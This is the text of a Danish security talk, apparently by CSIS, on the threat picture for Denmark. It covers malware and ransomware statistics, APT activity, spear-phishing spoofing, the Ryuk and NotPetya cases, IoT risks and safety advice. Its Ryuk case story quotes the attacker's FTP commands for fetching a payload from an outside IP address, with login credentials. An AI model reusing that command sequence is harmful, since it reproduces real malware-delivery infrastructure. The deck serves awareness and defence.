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• Danskejet selskab, grundlagt, 2003
• Ca. 100 ansatte, 24 nationaliteter
• Datacentre over hele verden
• IT sikkerhedsleverandør til verdens største selskaber
• Advisory Board medlem hos Europol EC3, 

Interpol, medlem af CARO og OPS-Trust
• Vært for Copenhagen Cybercrime Conference
• Søsterselskaber Heimdal, Defendas og Agile Technologies
• Peter Kruse har arbejdet professionelt med it-sikkerhed i næsten 20 år og analyserede 

sin første computervirus i 1984
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Hvem er CSIS og whois: Peter Kruse?
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Den aktuelle cybertrussel mod Danmark



Cybercrime

1.00 Trends
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Pas på dig selv, familie og venner på nettet
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Direktørsvindel (CEO Fraud)
En af de største økonomiske trusler mod virksomheder
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Den aktuelle cybertrussel mod Danmark
Mål:  Social og politisk mål.  At demonstrere uenighed, 
udstille og synliggøre urimeligheder.

Metoder:  DDOS, sociale medier  recognisering, 
Sofistikerede angreb med målet at udtrække sensitive data. 

Mål: Penge

Metoder:  Spam , Malware, BotNets, DDOS, Sociale Medier 
hijacking , Black Market Cyber-crime toolkits, CAAS

Mål:  Spionage.  Indsamling af finansielle og økonomiske data, 
Teknologi/IP, strategi og militær information

Metoder:  sociale medier, recognisering, social
engineering, malware infektion og datatyveri. 

Ideologiske 
grupperinger

Organiseret 
kriminalitet

APT



• Generelt er Danmark ramt af de samme store generiske malware familier som 
rammer vores nabolande. Payload i anden stadie varierer med afsæt i GeoIP

• Mere end 80 procent er dataindsamlende malware (!)
• Den største andel af malware båret via spammails er skabt med malware toolkits
• I 76 procent er både første og andet stadie af infektionen beskyttet ved brug af en 

cryptor og anvender bullet proof hosting som infrastruktur
• Makro- og exploit payload i dokumenter er mest hyppigt anvendte metode (DEMO)
• Mindre end 0,1 procent er APT relateret … men de er der …
• Den samlede økonomi i cybercrime har, ifølge FBI overhalet, den globale handel med 

narkotika 
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Spamkampagner og payload mod Danmark
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Spamkampagner og payload mod Danmark

Navn Antal

Emotet 125191

DreamBOT 1042

Azorult 2001

Jbifrost 7511

Nanocore 10844

LokiBOT 17011

Formbook 24012

ZeuS 9013

TrickBOT 73181

Remcos 3011

DanaBOT 1911

Carbanak 141

Cobalt Strike 299

APT28 96

RevengeRAT 867

ISR Stealer 309

Pony 1039

EvilPony 200

PandaZeuS 104

FlawedAmmyy RAT 581

Hawkeye 1571

Agent Tesla 705
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Exploitkits 2019 og payload mod Danmark

Exploitkit Antal

RIGek 89005

GrandsoftEK 75005

FallOut 4519

Magnitude 3044

Threatkit 401655

KaixinEK 498

Antal

0 50000 100000 150000 200000 250000 300000 350000 400000 450000

KaixinEK

Threatkit

Magnitude

FallOut

GrandsoftEK

RIGek



11

Danske hændelser i den forløbne måned
CONFICKER STADIG MED?



Den aktuelle cybertrussel mod Danmark

2.00 Fra Anonymous til APT#

REST ASSURED



13

APT cyklus i angreb mod Danmark

STEP 01
TITLE
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APT aktører vokser i resourcer, kompleksitet og omfang
Russisk interferens i den amerikanske valgkamp? Helt sikkert. 

Source: CSIS
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APT C&C server lokation (GeoIP -> Heatmap)
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Emotet C&C Tier-1 (GeoIP -> Heatmap)
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2019: Løbende APT aktivitet i Danmark
MÅLT OVER DEN SENESTE MÅNED
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APT aktører som Carbanak jagter også penge



20

Crime as a Service
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Crime as a Service



Den aktuelle cybertrussel mod Danmark

3.00 Phishing, Vishing & Smishing
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Phishing, Vishing, Smishing, Spear phishing og support scam
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Spear phishing tricks



Spear phishing
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Spear phishing tricks: spoofing e-mail FROM

CS@FINANSF0RBUNDET.DK
TBN@FINANSFORBUNDET.DK

CHRISTIAN STRØM / CEO
DIREKTE 32 66 13 63 / 
TBN@FINANSFORBUNDET.DK

FINANSFORBUNDET / WWW.FINANSFORBUNDET.DK
APPLEBYS PLADS 5 / POSTBOKS 1960 / 1411 KØBENHAVN K 
TELEFON 32 96 46 00 

Kan du spotte forskellen?

cs@finansforbundet.dk
cs@finansf0rbundet.dk

eller

CS@FINANSFORBUNDET.DK
CS@FINANSF0RBUNDET.DK

mailto:TBN@FINANSFORBUNDET.DK
http://www.finansforbundet.dk/
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Datalækager

Har du skiftet 
password for NYLIGT
og GENBRUGER du 
dit password andre 
steder?

Hvilken værdi har dit brugernavn, email og password?



Det aktuelle trusselsbillede

4.00 Ransomware
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Ransomware
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Ransomware
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Mærsk hændelsen
NotPetya

Trin 1: Software opdatering
- Patient-0  vanskeligt at beskytte sig imod

Trin 2: Automatisk spredning
- Exploit
- Høst af brugerkonto
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Ransomware

Ransomware Antal

Anatova 267

Gandgrab 9102

Arescrypt 401

CrySiS/Dharma 2601

Jigsaw 1355

Petya 302

Wannacry 3288

Shade 12011

Ryuk 606

Ahihi 201

Scarab 514

SamSam 201

Matrix 68

BlackRouter 449

Global Imposter 3791

Spora 2012
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• Maskine med admin rettigheder kompromitteres af Emotet
• Emotet downloader TrickBOT
TrickBOT spawner en shell der henter GPO der deployes:

open 159.69.68.218  
user soft_public bhuyBYbfBfgybAHJDSFBbHYUSFhnjf
binary  
get policy1.zip  
▪ Bye

▪ 18.000 maskiner rammes i løbet af 3 timer af Ryuk
▪ Samme modus operanti mod Norske Hydro, hospitaler, skoler, presse m.v.
▪ Ryuk operationen er styret af Grim Spider
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Case story: Ryuk ransomware 
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GandGrab backend
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Ransomware
Hvad sker der?



Den aktuelle cybertrussel mod Danmark

6.00 Bredspektrede angreb
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• Angreb mod eksempelvis webcams, routere, smartTVs, IHC, Elmålere, badevægte, 
køleskabe, biler, dørklokker, alarmsystemer og andre kontrol devices findes i PoC og 
mange har aldrig skiftet standard password! #Mirai

• Devices kan anvendes som platform for andre angreb som set med printer servere og 
andre ”storage devices”. 

• I angreb mod IHC systemer kan en angriber lukke døre og porte, slukke lys, ændre 
temperatur, aktivere brandalarm osv. Det kan skabe panik i butikscentre og 
kontorkomplekser, gymnastikhaller m.v.

• Angreb mod industrielle systemer og produktion (PLC/SCADA)
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Fra IoT til SCADA



• Udvis sund fornuft. Klik ikke ukritisk på materiale som kommer uopfordret
• Sørg for at holde alt dit udstyr opdateret
• Læs manualen
• Tag backup – glem ikke clouden
• Installerer antivirus – de fleste til private er gratis. GRATIS er bedre end ingenting!
• Genbrug aldrig password. Vælg et godt password og en password manager
• Hvis i tvivl, så hellere tøv og ring til afsender eller en ven for bekræftelse eller hjælp
• Del ikke oplysninger ukritisk på nettet
• Slå 2FA (totrinsgodkendelse) til hvorend det er muligt (Facebook/Linkedin/Gmail osv)
• Slå din maskine med en skærmlås når du ikke bruger den
• Indtast aldrig sensitive oplysninger på en offentlig maskine
• Udvis kritisk sans og del ikke ukritisk nyheder og konkurrencer fra tvivlsomme kilder
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Gode råd /opsummering



Tak for Jeres tid!
- Er der nogen spørgsmål?

Kontaktoplysninger:

pkr@csis.dk

PGP-ID: 0x715FB4BD

Fingerprint: E1A6 7FA1 F11B 4CB5 
E79F  1E14 EE9F 9ADB 715F B4BD

www.csis.dk
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